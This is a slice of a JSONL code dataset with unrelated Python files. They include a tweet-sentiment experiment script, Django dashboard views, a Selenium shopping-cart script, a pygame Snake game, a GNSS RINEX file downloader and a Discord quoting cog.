dt)\r\n f.create_dataset(sub_group + \"/X_test\", data = [n.encode(\"ascii\", \"ignore\") for n in X_test], dtype=dt)\r\n f.create_dataset(sub_group + \"/y_train\", data = [n.encode(\"ascii\", \"ignore\") for n in y_train] , dtype=dt)\r\n f.create_dataset(sub_group + \"/y_test\", data = [n.encode(\"ascii\", \"ignore\") for n in y_test], dtype=dt)\r\n \r\n#Write to new subgroup for each query_term\r\nfor query in query_list:\r\n data_path = (dir_emoji2 + '/' + query + ' Emoji2.txt')\r\n label_path = (dir_labels + '/' + query + ' Labels.txt')\r\n if(not(os.path.exists(data_path) and os.path.exists(data_path))):\r\n continue\r\n with open(data_path, \"r\", encoding=\"utf-8\") as f:\r\n data = [x.strip() for x in f.readlines()]\r\n with open(label_path, \"r\", encoding=\"utf-8\") as f:\r\n labels = [x.strip() for x in f.readlines()]\r\n if(len(data) == len(labels)):\r\n write_to_h5(h5_path, data, labels, sub_group=query)\r\n \r\n\r\n#For all tweet data files in directory\r\n#files_found = os.listdir(input_directory)\r\n#Does any query_list \r\n#anymatch = lambda x: any([query in x for query in query_list])\r\n#files_match = filter(lambda x: any( [ query_list ]))\r\n\r\n\r\n#Experiment 1 - Separate data into topics. Train one classifier for each topic set. Test classifier on that same data set\r\n \r\n'''\r\nBrexit\r\nFerguson\r\nIreland\r\nDonald Trump\r\nTravel Ban\r\n\r\nNaive Bayes\r\nSVM\r\nLogistic Regression\r\nDeep Averaging Network\r\n'''\r\n\r\n#Experiment 2 - Combine all tweets from all topics into one set. Train one classifier over all topics. Test each classifier on data from individual topics.\r\n\r\n'''\r\nBrexit\r\nFerguson\r\nIreland\r\nDonald Trump\r\nTravel Ban\r\nCombined Test Set\r\n\r\nNaive Bayes\r\nSVM\r\nLogistic Regression\r\nDeep Averaging Network\r\n'''\r\n#Experiment 3 - Use the four classifiers trained in experiment 2. Test accuracy on topics it has never seen before (tweets with topics it wasn’t trained on)\r\n\r\n'''\r\n\r\nObamacare\r\nNet Neutrality\r\nGay Marriage\r\nAffirmative Action\r\nConcealed Weapons\r\nCombined Test Set\r\n\r\n\r\nNaive Bayes\r\nSVM\r\nLogistic Regression\r\nDeep Averaging Network\r\n'''\r\n\r\n\r\n#Experiment 4 - Retrain classifiers using a whole bunch of political topics in table A. Test overall accuracy on combined data set. \r\n\r\n'''\r\nAccuracy on Combined Tweets\r\n\r\nNaive Bayes\r\nSVM\r\nLogistic Regression\r\nDeep Averaging NN\r\n'''\r\n#Experiment 5 - Using best performing sentiment classifier from experiment 4, to predict democratic politician sentiment for various topics. \r\n#Reported sentiment numbers are in terms of the probability of the “positive” class. \r\n\r\n'''\r\nNominate Dim1\r\nNet Neutrality\r\nGay Marriage\r\nImmigration Ban\r\nObamacare\r\nBorder Wall\r\n\r\n\r\nBarack Obama\r\nElizabeth Warren\r\nHillary Clinton\r\nKamala Harris\r\nJoe Biden\r\n'''\r\n\r\n#Experiment 6 - Using best performing sentiment classifier from experiment 4, to predict republican politician sentiment for various topics. \r\n#Reported sentiments are in terms of the probability of the “positive” class. \r\n\r\n'''\r\nNominate Dim1\r\nNet Neutrality\r\nGay Marriage\r\nImmigration Ban\r\nObamacare\r\nBorder Wall\r\n\r\n\r\nMike Pence\r\nMarco Rubio\r\nBobby Jindal\r\nRand Paul\r\nPaul Ryan\r\n'''\r\n\r\n#Experiment 7 - Use sentiment classifier output as features, build political classifier as democratic or republican\r\n'''\r\nAccuracy over test politicians\r\n\r\n\r\nLogistic Regression\r\nSupport Vector Machine\r\nDecision Trees\r\nNeural Network\r\n'''\r\n\r\n#Experiment 8 - Using sentiment classifier output as features, predict the DW-Nominate score of politicians.\r\n\r\n'''\r\n\r\nAccuracy over test politicians\r\n\r\n\r\nLogistic Regression\r\nLinear Regression w/ logistic transformation\r\nGLM with logistic link function\r\nBeta Regression\r\nMultilayer Perceptron with Sigmoid Activation\r\nDecision Trees\r\n'''\r\n\r\n#Experiment 9 - Using sentiment classifier output as features, predict the DW-Nominate score of politicians.\r\n'''\r\nRBF Kernel\r\nTrigonometric Kernel\r\n3rd Degree Polynomial Basis Expansion\r\n\r\n\r\nLogistic Regression\r\nLinear Regression w/ logistic transformation\r\nGLM with logistic link function\r\nBeta Regression\r\n'''\r\n\r\n\r\n#Experiment 10 - Do not use the sentiment classifiers for various topics at all. Instead directly classify whether democratic or \r\n#republican using standard NLP techniques. Neural networks use pre-trained embeddings. Softmax layer is used at the end to predict classes. \r\n#Accuracies are reported as amount correct divided by total predictions. \r\n'''\r\nDemocrat/Republican Prediction Accuracies\r\n\r\nRecurrent Neural Network\r\nDeep Averaging Neural Network\r\nHierarchical Network\r\nNaive Bayes\r\nLogistic Regression\r\nSupport Vector Machines\r\n'''\r\n\r\n#Experiment 11 - Do not use the sentiment classifiers for various topics at all. Instead directly predict DW-Nominate scores. \r\n#Neural networks use pre-trained embeddings. Accuracy is reported as the expected value of 1 - (DW Score Prediction Error)\r\n\r\n'''\r\nDW-Nominate Accuracy\r\n\r\nRecurrent Neural Network\r\nDeep Averaging Neural Network\r\nHierarchical Network\r\nNaive Bayes\r\nLogistic Regression\r\nSupport Vector Machines\r\n'''\r\n","sub_path":"p4_split_data.py","file_name":"p4_split_data.py","file_ext":"py","file_size_in_byte":6820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"620491854","text":"#!venv/bin/python\n# coding: utf-8\nimport sys\nimport argparse\n\nimport base\nimport backends\nimport actions\n\n\ndef main(args=None):\n parser = argparse.ArgumentParser(description=u\"web watcher\")\n\n choices = ['all']\n choices.extend(base.BACKENDS.all_names())\n parser.add_argument(\n 'selected_backends', nargs='*', default='all',\n help=u'backends using for', choices=choices)\n\n parser.add_argument(\n '--output_method', default='JustPrint',\n choices=actions.actions.__ALL__,\n help=u'specify output method')\n\n args = parser.parse_args(args)\n\n if args.selected_backends == 'all':\n backends = base.BACKENDS.all()\n else:\n backends = base.BACKENDS.filter(args.selected_backends)\n\n getattr(actions, args.output_method)(backends)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"654037361","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\n\nfrom .models import Road, Image, Issue, IssueDetail\n\n# Create your views here.\ndef index(request):\n if request.user.is_authenticated:\n return redirect('home:dashboard')\n return render(request, 'home/index.html')\n\n@login_required\ndef dashboard(request):\n if request.user.role == 'min':\n state = request.GET.get('state', None)\n district = request.GET.get('district', None)\n block = request.GET.get('block', None)\n\n roads = Road.objects.all().order_by('-last_modified')\n states = roads.values_list('state', flat=True).distinct().order_by('state')\n\n if state and district and block:\n roads = roads.filter(state=state)\n districts = roads.values_list('district', flat=True).distinct().order_by('district')\n roads = roads.filter(district=district)\n blocks = roads.values_list('block', flat=True).distinct().order_by('block')\n roads = roads.filter(block=block)\n if roads.exists():\n context = {\n 'states': states,\n 'districts': districts,\n 'blocks': blocks,\n 'roads': roads,\n\n 'selected_state': state,\n 'selected_district': district,\n 'selected_block': block,\n }\n return render(request, 'home/dashboard.html', context)\n else:\n return redirect('home:dashboard')\n\n context = {\n 'states': states,\n }\n return render(request, 'home/dashboard.html', context)\n else:\n roads = request.user.assigned_roads.all()\n context = {\n 'roads': roads,\n }\n return render(request, 'home/dashboard.html', context)\n \n\n@login_required\ndef road_details(request, slug):\n if request.user.role == 'min':\n road = get_object_or_404(Road, slug=slug)\n else:\n road = get_object_or_404(Road, slug=slug, assigned_to=request.user)\n context = {\n 'road': road,\n }\n return render(request, 'home/road_details.html', context)\n\ndef ajax_state_changed(request):\n state = request.GET.get('state', None)\n data = {}\n\n if state:\n roads = Road.objects.filter(state=state)\n districts = roads.values_list('district', flat=True).distinct().order_by('district')\n\n for district in districts:\n data[district] = district\n\n return JsonResponse(data)\n\ndef ajax_district_changed(request):\n state = request.GET.get('state', None)\n district = request.GET.get('district', None)\n data = {}\n\n if state and district:\n roads = Road.objects.filter(state=state, district=district)\n blocks = roads.values_list('block', flat=True).distinct().order_by('block')\n\n for block in blocks:\n data[block] = block\n\n return JsonResponse(data)","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"434338467","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as exp\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.common.exceptions import TimeoutException\n\ndriver = webdriver.Firefox(executable_path='C:\\\\Users\\\\Braian\\\\.wdm\\\\drivers\\\\geckodriver\\\\win64\\\\v0.28.0\\\\geckodriver.exe')\n\ndriver.get('https://www.morele.net/kategoria/laptopy-31/')\ndriver.maximize_window()\ntemp = driver.find_elements_by_class_name('cat-list-products')[0].find_element_by_class_name('pushAddToBasketData')\ntime.sleep(5)\ntemp.click()\ntry:\n temp = WebDriverWait(driver, 5).until(exp.element_to_be_clickable((By.CLASS_NAME, 'js_no-warrant-btn_desktop')))\n temp.click()\n time.sleep(5)\n temp = WebDriverWait(driver, 5).until(exp.element_to_be_clickable((By.CLASS_NAME, 'show-basket')))\n temp.click()\n temp = WebDriverWait(driver, 5).until(exp.element_to_be_clickable((By.CLASS_NAME, 'confirm-button')))\nexcept TimeoutException:\n driver.get('https://www.morele.net/koszyk/')\ntime.sleep(5)\ntemp = driver.find_element_by_xpath('/html/body/div[3]/main/div/div[3]/div/div[1]/div/div[2]/div/ul/li[2]')\ndriver.execute_script(\"arguments[0].click();\", temp)\ntime.sleep(5)\ntemp = driver.find_element_by_xpath('/html/body/div[8]/div/div/div[2]/div[3]/button[2]')\ndriver.execute_script(\"arguments[0].click();\", temp)\n","sub_path":"morele/secondScenario/firefox.py","file_name":"firefox.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"304913815","text":"\n\nfrom xai.brain.wordbase.nouns._novice import _NOVICE\n\n#calss header\nclass _NOVICES(_NOVICE, ):\n\tdef __init__(self,): \n\t\t_NOVICE.__init__(self)\n\t\tself.name = \"NOVICES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"novice\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_novices.py","file_name":"_novices.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"443334416","text":"#!/usr/bin/python\n\nimport sys\nimport random\nimport pygame\n\n\n# Global constants\nCELL_SIZE = 40\nX_CELLS = 24\nY_CELLS = 16\n\nWIDTH = X_CELLS * CELL_SIZE\nHEIGHT = Y_CELLS * CELL_SIZE\nSIZE = WIDTH, HEIGHT\nFPS = 60\n\nUP = (0, -1)\nDOWN = (0, 1)\nLEFT = (-1, 0)\nRIGHT = (1, 0)\n\nBLACK = (0, 0, 0)\nGRAY = (100, 100, 100)\nWHITE = (255, 255, 255)\n\n\n# Game constants\nSNAKE_START_SPEED = 3\n\nSCREEN_BG_COLOR = (247, 208, 203)\nSCREEN_BORDER_COLOR = (183, 110, 121)\nSNAKE_COLOR = (170, 170, 170)\nSNAKE_BORDER_COLOR = (97, 101, 110)\n\n\n# Objects classes\n\nclass BaseObject(object):\n count = 0\n\n def __init__(self, coord=None, size=None):\n self.__class__.count += 1\n\n self.color = tuple(random.randint(0, 255) for i in range(3))\n self.size = size if size else random.randint(20, 100)\n self.x = coord[0] if coord else random.random() * (WIDTH - self.size) + self.size/2\n self.y = coord[1] if coord else random.random() * (HEIGHT - self.size) + self.size/2\n\n def draw(self, screen):\n pygame.draw.rect(\n screen,\n self.color,\n (self.x - self.size/2, self.y - self.size/2, self.size, self.size)\n )\n\n\nclass MovableObject(BaseObject):\n speed = 1\n\n def __init__(self, coord=None, size=None):\n super(MovableObject, self).__init__(coord, size)\n\n self.vector = (\n random.random() * random.choice((-1, 1)),\n random.random() * random.choice((-1, 1))\n )\n\n def move(self):\n self.x += self.vector[0] * self.speed\n self.y += self.vector[1] * self.speed\n\n\nclass SnakeSegment(MovableObject):\n speed = CELL_SIZE\n\n def __init__(self, coord=None):\n super(SnakeSegment, self).__init__()\n\n self.size = CELL_SIZE\n self.x = coord[0] if coord else (X_CELLS + (X_CELLS+1)%2) * CELL_SIZE/2\n self.y = coord[1] if coord else (Y_CELLS + (Y_CELLS+1)%2) * CELL_SIZE/2\n self.vector = (0, 0)\n self.color = SNAKE_COLOR\n self.border_color = SNAKE_BORDER_COLOR\n self.border_width = int(round(0.05 * self.size))\n\n def draw(self, screen):\n super(SnakeSegment, self).draw(screen)\n pygame.draw.rect(\n screen,\n self.border_color,\n (self.x - self.size/2, self.y - self.size/2, self.size-1, self.size-1),\n self.border_width\n )\n\n\nclass Snake(object):\n min_size = 3\n\n def __init__(self):\n self.stack = [SnakeSegment() for i in range(self.min_size)]\n self.head = self.stack[-1]\n self.speed = SNAKE_START_SPEED\n self.vector = UP\n\n self.build_snake()\n\n def build_snake(self):\n l = len(self.stack)\n for i, segment in enumerate(self.stack):\n segment.vector = (-self.vector[0], -self.vector[1])\n for j in range(l-i):\n segment.move()\n\n def grow(self):\n tail = self.stack[0]\n new_tail = SnakeSegment((tail.x, tail.y))\n new_tail.vector = (-tail.vector[0], -tail.vector[1])\n new_tail.move()\n self.stack.insert(0, new_tail)\n\n def move(self):\n new_head = self.stack.pop(0)\n new_head.x, new_head.y = self.head.x, self.head.y\n new_head.vector = self.vector\n self.head = new_head\n self.stack.append(new_head)\n self.head.move()\n\n def draw(self, screen):\n for segment in self.stack:\n segment.draw(screen)\n\n\nclass Apple(BaseObject):\n\n def __init__(self, coord=None):\n super(Apple, self).__init__()\n \n self.size = CELL_SIZE - 2\n self.x = coord[0] if coord else random.randint(0, X_CELLS-1)*CELL_SIZE + CELL_SIZE/2\n self.y = coord[1] if coord else random.randint(0, Y_CELLS-1)*CELL_SIZE + CELL_SIZE/2\n\n def reinit(self):\n self.__init__()\n\n\n# Game class\n\nclass GameSnake(object):\n RUNNING, FINISHED, PAUSED = (1, 0, -1)\n BORDER = True\n\n def __init__(self):\n self.screen = pygame.display.set_mode(SIZE)\n self.clock = pygame.time.Clock()\n\n self.game_state = self.RUNNING\n self.game_time_ms = 0\n self.score = 0\n self.snake_speed = SNAKE_START_SPEED\n self.next_step_ms = 0\n\n self.snake = Snake()\n self.apple = Apple()\n self.init_apple()\n\n def init_apple(self):\n while self._is_apple_under_snake():\n self.apple.reinit()\n\n def _is_apple_under_snake(self):\n for segment in self.snake.stack:\n if segment.x == self.apple.x and segment.y == self.apple.y:\n return True\n return False\n\n def speed_up(self):\n self.snake_speed += 0.1\n\n def check_snake_move(self):\n head = self.snake.head\n\n if head.x == self.apple.x and head.y == self.apple.y:\n self.score += 1\n self.snake.grow()\n self.init_apple()\n self.speed_up()\n return True\n\n for segment in self.snake.stack[:-1]:\n if segment.x == head.x and segment.y == head.y:\n return False\n\n if self.BORDER:\n if head.x < 0 or head.x > WIDTH:\n return False\n if head.y < 0 or head.y > HEIGHT:\n return False\n else:\n self._pass_through_border()\n return True\n\n def _pass_through_border(self):\n head = self.snake.head\n if head.x < head.size/2:\n head.x = WIDTH - head.size/2\n if head.x > WIDTH - head.size/2:\n head.x = head.size/2\n if head.y < head.size/2:\n head.y = HEIGHT - head.size/2\n if head.y > HEIGHT - head.size/2:\n head.y = head.size/2\n\n def check_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_r:\n self.__init__()\n if event.key == pygame.K_p:\n self.game_state *= -1\n if event.key == pygame.K_q:\n pygame.quit()\n sys.exit()\n\n head = self.snake.head\n if event.key == pygame.K_UP and head.vector != DOWN:\n self.snake.vector = UP\n # self.next_step_ms = 1000.0 / self.snake_speed\n if event.key == pygame.K_DOWN and head.vector != UP:\n self.snake.vector = DOWN\n # self.next_step_ms = 1000.0 / self.snake_speed\n if event.key == pygame.K_LEFT and head.vector != RIGHT:\n self.snake.vector = LEFT\n # self.next_step_ms = 1000.0 / self.snake_speed\n if event.key == pygame.K_RIGHT and head.vector != LEFT:\n self.snake.vector = RIGHT\n # self.next_step_ms = 1000.0 / self.snake_speed\n\n def update_screen(self):\n if self.game_state is self.RUNNING:\n tick_ms = self.clock.get_time()\n self.next_step_ms += tick_ms\n self.game_time_ms += tick_ms\n\n self.screen.fill(SCREEN_BG_COLOR)\n self._draw_grid()\n self._draw_border()\n\n allow_move = True\n if self.next_step_ms > 1000.0 / self.snake_speed:\n self.next_step_ms = 0\n self.snake.move()\n allow_move = self.check_snake_move()\n\n if allow_move:\n self.apple.draw(self.screen)\n self.snake.draw(self.screen)\n self.render_text()\n else:\n self.game_state = self.FINISHED\n pygame.time.wait(500)\n self.show_final_banner()\n\n def run(self):\n while True:\n self.check_events()\n self.update_screen()\n self.clock.tick(FPS)\n pygame.display.flip()\n\n def _draw_grid(self):\n for gx in range(0, WIDTH + CELL_SIZE, CELL_SIZE):\n pygame.draw.line(self.screen, WHITE, (gx - 1, -1), (gx - 1, HEIGHT - 1), 2)\n for gy in range(0, HEIGHT + CELL_SIZE, CELL_SIZE):\n pygame.draw.line(self.screen, WHITE, (-1, gy - 1), (WIDTH - 1, gy - 1), 2)\n\n def _draw_border(self):\n if self.BORDER:\n sb_color = SCREEN_BORDER_COLOR\n x_br, y_br = WIDTH-2, HEIGHT-2\n pygame.draw.line(self.screen, sb_color, (0, 0), (0, y_br), 2)\n pygame.draw.line(self.screen, sb_color, (x_br, 0), (x_br, y_br), 2)\n pygame.draw.line(self.screen, sb_color, (0, 0), (x_br, 0), 2)\n pygame.draw.line(self.screen, sb_color, (0, y_br), (x_br, y_br), 2)\n\n def render_text(self):\n game_time_s = int(round(self.game_time_ms/1000.0))\n label_timer = LABEL_FONT.render(\"Time: %i\" % game_time_s, True, BLACK)\n lh = label_timer.get_height()\n self.screen.blit(label_timer, (CELL_SIZE/2, (CELL_SIZE-lh)/2))\n\n label_score = LABEL_FONT.render(\"Score: %i\" % self.score, True, BLACK)\n self.screen.blit(label_score, (CELL_SIZE/2, (3*CELL_SIZE-lh)/2))\n\n label_hotkeys = LABEL_FONT.render(\"restart/pause/quit: r/p/q\", True, GRAY)\n self.screen.blit(label_hotkeys, (CELL_SIZE/2, HEIGHT-(CELL_SIZE+lh)/2))\n\n def show_final_banner(self):\n self.screen.fill(SCREEN_BG_COLOR)\n banner = BANNER_FONT.render(\"Game Over\", True, BLACK)\n w, h = banner.get_size()\n self.screen.blit(banner, ((WIDTH-w)/2, (HEIGHT-h)/2-110))\n\n game_time_s = int(round(self.game_time_ms/1000.0))\n time_banner = BANNER_FONT.render(\"Time: %i sec\" % game_time_s, True, BLACK)\n w, h = time_banner.get_size()\n self.screen.blit(time_banner, ((WIDTH-w)/2, (HEIGHT-h)/2-10))\n\n score_banner = BANNER_FONT.render(\"Score: %i\" % self.score, True, BLACK)\n self.screen.blit(score_banner, ((WIDTH-w)/2, (HEIGHT-h)/2+40))\n\n\nif __name__ == \"__main__\":\n # pygame initialization\n pygame.init()\n pygame.display.set_caption(\"Snake\")\n\n # resources initialization\n LABEL_FONT = pygame.font.SysFont(\"monospace\", size=CELL_SIZE//2)\n BANNER_FONT = pygame.font.SysFont(\"monospace\", size=CELL_SIZE, bold=True)\n\n # game initialization\n game = GameSnake()\n game.run()\n","sub_path":"pygame/snake/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":10251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"58767229","text":"#!/usr/bin/env python\nimport wget\nimport os\nimport urllib\nimport GPS_tools\n#####################################################################################\n#GPS_filedownloader.py\n#This code will download any RINEX, nav or UNR\n#time series file requested\n#Written by Brendan Crowell, University of Washington\n#Last edited January 10, 2019\n#Broadcast navigation messages are only downloaded from CDDIS\n#RINEX files will try to download from UNAVCO, then CWU, then CDDIS, then SOPAC\n#Time Series files will only download from UNR, cartesian positions\n#VARIABLES\n#year - 4 digit string of year\n#doy - 3 digit string of day of year\n#site - 4 digit string of site id\n#####################################################################################\n#This subroutine downloads the broadcast navigation message for a given day from CDDIS\ndef getbcorbit(year, doy):\n if not os.path.exists('nav'): #if nav folder doesn't exist, make it\n os.makedirs('nav')\n fname = 'nav/brdc' + doy + '0.' + year[-2:] + 'n.Z'\n fname2 = 'nav/brdc' + doy + '0.' + year[-2:] + 'n'\n if (os.path.isfile(fname2) == True):\n print ('Navigation file ' + fname2 + ' already exists')\n else:\n url = 'ftp://cddis.nasa.gov/gnss/data/daily/' + year + '/' + doy + '/' + year[-2:] + 'n/brdc' + doy + '0.' + year[-2:] + 'n.Z'\n wget.download(url, out='nav/')\n os.system('gunzip' + ' ' + fname)\n\n#This subroutine downloads the ultra rapid sp3 file for a given day from CDDIS\ndef getsp3file(year, doy):\n if not os.path.exists('nav'): #if nav folder doesn't exist, make it\n os.makedirs('nav')\n [gpsweek,gpsdow]=PPPML_tools.gpsweekdow(int(year),int(doy))\n week = str(int(gpsweek))\n dow = str(int(gpsdow))\n fname = 'nav/igu' + week + dow + '_12.sp3.Z'\n fname2 = 'nav/igu' + week + dow + '_12.sp3'\n if (os.path.isfile(fname2) == True):\n print ('Navigation file ' + fname2 + ' already exists')\n else:\n\n url = 'ftp://cddis.gsfc.nasa.gov/gnss/products/' + week + '/igu' + week + dow + '_12.sp3.Z'\n print(url)\n wget.download(url, out='nav/')\n os.system('gunzip' + ' ' + fname)\n\n#This subroutine will download RINEX files given the station, year and day of year. \ndef getrinex(site, year, doy):\n if not os.path.exists('rinex'): #if rinex folder doesn't exist, make it\n os.makedirs('rinex')\n fnameZ = 'rinex/' + site + doy + '0.' + year[-2:] + 'd.Z'\n fnamebz2 = 'rinex/' + site + doy + '0.' + year[-2:] + 'd.bz2'\n fnamed = 'rinex/' + site + doy + '0.' + year[-2:] + 'd'\n fnameo = 'rinex/' + site + doy + '0.' + year[-2:] + 'o'\n if (os.path.isfile(fnameo) == True): \n print ('Rinex file ' + fnameo + ' already exists')\n else:\n try:\n url = 'ftp://data-out.unavco.org/pub/rinex/obs/' + year + '/' + doy + '/' + site + doy + '0.' + year[-2:] + 'd.Z'\n print ('Attempting to download ' + fnamed + ' from UNAVCO')\n wget.download(url, out='rinex/')\n os.system('gunzip' + ' ' + fnameZ)\n os.system('./crx2rnx' + ' ' + fnamed)\n os.remove(fnamed)\n except Exception:\n print ('File not at UNAVCO, checking CWU')\n try:\n url = 'https://www.geodesy.cwu.edu/data_ftp_pub/data/' + year+ '/' + doy + '/30sec/' + site + doy + '0.' + year[-2:] + 'd.bz2'\n print ('Attempting to download ' + fnamed + ' from CWU')\n wget.download(url, out='rinex/')\n os.system('bzip2 -d' + ' ' + fnamebz2)\n os.system('./crx2rnx' + ' ' + fnamed)\n os.remove(fnamed)\n except Exception:\n print ('File not at CWU, checking CDDIS')\n try:\n url = 'ftp://cddis.nasa.gov/gnss/data/daily/' + year+ '/' + doy + '/' + year[-2:] + 'd/' + site + doy + '0.' + year[-2:] + 'd.Z'\n print ('Attempting to download ' + fnamed + ' from CDDIS')\n wget.download(url, out='rinex/')\n os.system('gunzip' + ' ' + fnameZ)\n os.system('./crx2rnx' + ' ' + fnamed)\n os.remove(fnamed)\n except Exception:\n print ('File not at CDDIS, checking SOPAC')\n try:\n url = 'ftp://garner.ucsd.edu/pub/rinex/' + year+ '/' + doy + '/' + site + doy + '0.' + year[-2:] + 'd.Z'\n print ('Attempting to download ' + fnamed + ' from SOPAC')\n wget.download(url, out='rinex/')\n os.system('gunzip' + ' ' + fnameZ)\n os.system('./crx2rnx' + ' ' + fnamed)\n os.remove(fnamed)\n except Exception:\n print ('File not found at SOPAC, moving onto next station')\n\n#This subroutine will download highrate (1-Hz) RINEX files\ndef getrinexhr(site, year, doy):\n if not os.path.exists('rinex_hr'): #if rinex highrate folder doesn't exist, make it\n os.makedirs('rinex_hr')\n fnameZ = 'rinex/' + site + doy + '0.' + year[-2:] + 'd.Z'\n fnamebz2 = 'rinex/' + site + doy + 'i.' + year[-2:] + 'd.bz2'\n fnamecwuo = 'rinex/' + site + doy + 'i.' + year[-2:] + 'o'\n fnamecwud = 'rinex/' + site + doy + 'i.' + year[-2:] + 'd'\n fnamed = 'rinex/' + site + doy + '0.' + year[-2:] + 'd'\n fnameo = 'rinex/' + site + doy + '0.' + year[-2:] + 'o'\n if (os.path.isfile(fnameo) == True): \n print ('Rinex file ' + fnameo + ' already exists')\n else:\n try:\n url = 'ftp://garner.ucsd.edu/pub/rinex_highrate/' + year+ '/' + doy + '/' + site + doy + '0.' + year[-2:] + 'd.Z'\n print (url)\n print ('Attempting to download ' + fnamed + ' from SOPAC')\n wget.download(url, out='rinex/')\n os.system('gunzip' + ' ' + fnameZ)\n os.system('./crx2rnx' + ' ' + fnamed)\n os.remove(fnamed)\n except Exception:\n print ('File not at SOPAC, checking UNAVCO')\n try:\n url = 'ftp://data-out.unavco.org/pub/highrate/5-Hz/rinex/' + year + '/' + doy + '/' + site + '/' + site + doy + '0.' + year[-2:] + 'd.Z'\n print ('Attempting to download ' + fnamed + ' from UNAVCO')\n wget.download(url, out='rinex/')\n os.system('gunzip' + ' ' + fnameZ)\n os.system('./crx2rnx' + ' ' + fnamed)\n os.remove(fnamed)\n except Exception:\n print ('File not at UNAVCO checking CWU')\n try:\n url = 'https://www.geodesy.cwu.edu/data_ftp_pub/data/' + year+ '/' + doy + '/01sec/' + site + doy + 'i.' + year[-2:] + 'd.bz2'\n print ('Attempting to download ' + fnamed + ' from CWU')\n wget.download(url, out='rinex/')\n os.system('bzip2 -d' + ' ' + fnamebz2)\n os.system('./crx2rnx' + ' ' + fnamecwud)\n os.rename(fnamecwuo, fnameo)\n os.remove(fnamecwud)\n except Exception:\n print ('File not at CWU, moving on')\n\n\n#This subroutine downloads the cartesian time series in IGS08 from the UNR database to use for a priori locations\ndef gettseries(site):\n if not os.path.exists('tseries'): #if tseries folder doesn't exist, make it\n os.makedirs('tseries')\n siteid = site.upper()\n fname = 'tseries/' + siteid + '.IGS08.txyz2'\n if (os.path.isfile(fname) == True): \n print ('Timeseries file ' + fname + ' already exists')\n else:\n url = 'http://geodesy.unr.edu/gps_timeseries/txyz/IGS08/' + siteid + '.IGS08.txyz2'\n wget.download(url, out='tseries/')\n\n\n\n\n#Examples\n##getrinexhr('lwck','2018','002')\n##getrinex('p494','2018','002')\n##getbcorbit('2018','002')\n##gettseries('p494')\n##\n#getsp3file('2018','002')\n\n\n","sub_path":"GPS_filedownloader.py","file_name":"GPS_filedownloader.py","file_ext":"py","file_size_in_byte":7912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"13121271","text":"#!/usr/bin/env python3\n\n\"\"\"Contains a cog with commands that quote people.\"\"\"\n\nimport random\n\nimport discord\nfrom discord.ext import commands\n\nimport utils.helpers\n\nclass Quoting:\n \"\"\"Commands that quote people.\"\"\"\n\n @commands.command()\n @commands.cooldown(6, 12, commands.BucketType.channel)\n async def quote(self, ctx, *, user:str):\n \"\"\"Quote a user.\n \n * user - The user you wish to quote.\n \"\"\"\n user = await utils.helpers.member_by_substring(ctx, user)\n quotes = []\n async for message in ctx.channel.history():\n if message.author.id == user.id:\n quotes.append(message)\n if len(quotes) == 0:\n await ctx.send(\"Could not quote that user.\")\n else:\n message = random.choice(quotes)\n quote = f\"**{user.name} said:**\\n{message.content}\"\n await ctx.send(quote)\n\n @commands.command()\n @commands.cooldown(6, 12, commands.BucketType.channel)\n async def didsay(self, ctx, user:str, *, quote=\"\"):\n \"\"\"Checks if a user said a particular phrase.\n \n * user - A member to mention.\n * phrase - A phrase to check against. Leave blank to show all instances.\n \"\"\"\n user = await utils.helpers.member_by_substring(ctx, user)\n paginator = commands.Paginator(max_size=625)\n length = 0\n async for message in ctx.channel.history():\n if message.author.id == user.id and quote.lower() in message.content.lower():\n content = message.content.replace(\"```\", \"\")\n paginator.add_line(f\"{message.created_at.ctime()}: {content}\")\n length += 1\n if len(paginator.pages) == 0:\n if len(quote) == 0:\n quote = \"anything\"\n await ctx.send((f\"{user.name} did not say **{quote}** in the last {length} messages. \"\n \"Or it was deleted.\"))\n else:\n message = await ctx.send(paginator.pages[0])\n await ctx.bot.add_pager(message, paginator.pages, author_id=ctx.author.id)\n\ndef setup(bot):\n \"\"\"Setup function for Quoting.\"\"\"\n bot.add_cog(Quoting())\n","sub_path":"cogs/core/quote.py","file_name":"quote.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
